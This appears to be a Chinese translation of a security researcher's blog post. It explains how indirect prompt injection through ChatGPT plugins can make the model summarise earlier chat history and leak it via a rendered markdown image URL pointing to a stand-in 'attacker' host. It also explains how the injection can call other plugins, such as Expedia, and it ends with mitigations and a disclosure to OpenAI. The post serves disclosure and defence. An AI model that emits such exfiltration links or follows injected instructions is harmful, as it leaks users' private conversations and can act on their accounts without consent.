本文揭示了恶意网站如何控制 ChatGPT 聊天会话,并窃取会话历史的方式。
插件、工具与集成问题
在使用插件时,一个常见的数据泄露问题是一开始就向插件发送过多的数据。为了更好地保护用户,我们需要增强安全控制措施,以及对发送至插件的数据进行更深入的监控。
但本文的重点并非是向插件发送过多数据,而是关于那些控制插件获取数据的恶意行为者。
不可信数据与 Markdown 注入问题
能够控制插件获取数据的人,可以通过 ChatGPT 对 Markdown 图片的渲染功能来窃取聊天历史。
例如,如果 LLM 返回如下格式的 Markdown 图片:
![数据泄露进行中](https://attacker/q=*exfil_data*)
ChatGPT 将自动渲染并检索该 URL。在所谓的“间接提示注入”中,攻击者可以操控 LLM 的行动(这也是我称其为“AI 注入”的原因),例如请求 LLM 总结之前的聊天历史,并将其添加到 URL 中实现数据泄露。
我并非首个指出这个问题的人,罗曼·萨莫伊连科(Roman Samoilenko)早前就观察到并发表了关于 ChatGPT 此漏洞的文章。罗曼于三月底发现了这个问题,而我在四月初也独立发现了相同的情况。
概念验证展示
利用插件,比如 WebPilot 插件
或者我最近发布关于 YouTube Transcript Plugin Injection 的文章,可以实现这一功能。
大语言模型 (LLM) 的反馈可以包括 Markdown 格式(或者指示 AI 即时创建),它会概括之前的对话内容,将这个概要进行 URL 编码,并作为查询参数发送给攻击者。
以下是这一过程的实际展示:
正在被外泄的文本,包括“TooManySecrets123”,是早前聊天中的对话内容。
此外,还有一个完整的视频概念验证:
中间部分有些慢,你可以选择快进。
但故事还没完….
攻击者能在注入期间调用其他插件吗?
简单来说,是的。
这其实是 跨站请求伪造 (Cross Site Request Forgery)
的一个新变体,我们可能需要为它起个新名字,比如 跨插件请求伪造 (Cross Plugin Request Forgery)
。
这里有一个示例,展示了如何通过间接提示注入,调用另一个插件(Expedia)来搜索航班:
的确,不久的将来,随机的网页和网站评论可能会控制你的 AI,并使用你的资金。
缓解方案与建议
如果有安全的 AI 助手,那将非常棒,ChatGPT 的强大功能令人惊叹!那么,我们该如何提升其安全性呢?
- 目前不太清楚为什么插件可以访问整个对话内容。这部分应当被隔离开来。最理想的情况是,插件单独完成它们的任务,而不是访问整个对话历史或调用其他插件。
- 插件需要一个明确的安全合同。谁负责什么?传递给插件的数据是什么?目前没有一个明确或强制执行的框架来缓解这类问题。OpenAI 提出了 Human in the loop 作为 核心安全最佳实践,但一旦用户开始使用插件,他们几乎无法控制。
- 有关建立一种 kernel LLM 和其他隔离 LLM 的想法已由 Simon Willison 提出,并且他已经对此进行了更深入的思考。
- NVIDIA 正在开发 NeMo GuardRails,以确保机器人的行为受到控制。
- 如图像渲染这样的场景可以作为一个专门的功能来实现,而不是仅仅依赖于 markdown 的方便性。(例如,返回的链接不是嵌入聊天内容中,而是作为主消息之后的参考资料)。
- 只使用并指向你完全信任的数据源。
需要进行更多的研究,无论是从攻击还是防御的角度。目前,随着技术的快速普及和新工具的发布,我们最好的办法似乎是提高公众意识,让更多有智慧的人参与进来,共同研究这个问题(以及解决方案)。
结论
随着插件的引入,间接提示注入现在已经成为 ChatGPT 生态系统中的一个现实问题。随着攻击方式的演变,我们可能会在网站、博客文章、评论等地方看到试图控制你的 AI 的恶意文本和指令。
负责任的披露
我在 2023 年 4 月 9 日首次向 OpenAI 报告了图像 markdown 注入问题。
在一些交流后,我强调插件可能会远程利用这个漏洞。然而,我被告知图像 markdown 注入被视为一项功能,并且目前没有计划进行改动以解决这个漏洞。
引用
- Roman Samoilenko – 报告揭露 ChatGPT 网页版的新型安全漏洞:Markdown 图像可被用来盗取聊天数据
- OpenAI 发布的安全操作指南
- 双重大语言模型 (Dual LLM) 模式:新的 AI 应用范例
- NVIDIA 的 NeMo 守护栏:为 AI 聊天机器人设置新的安全标准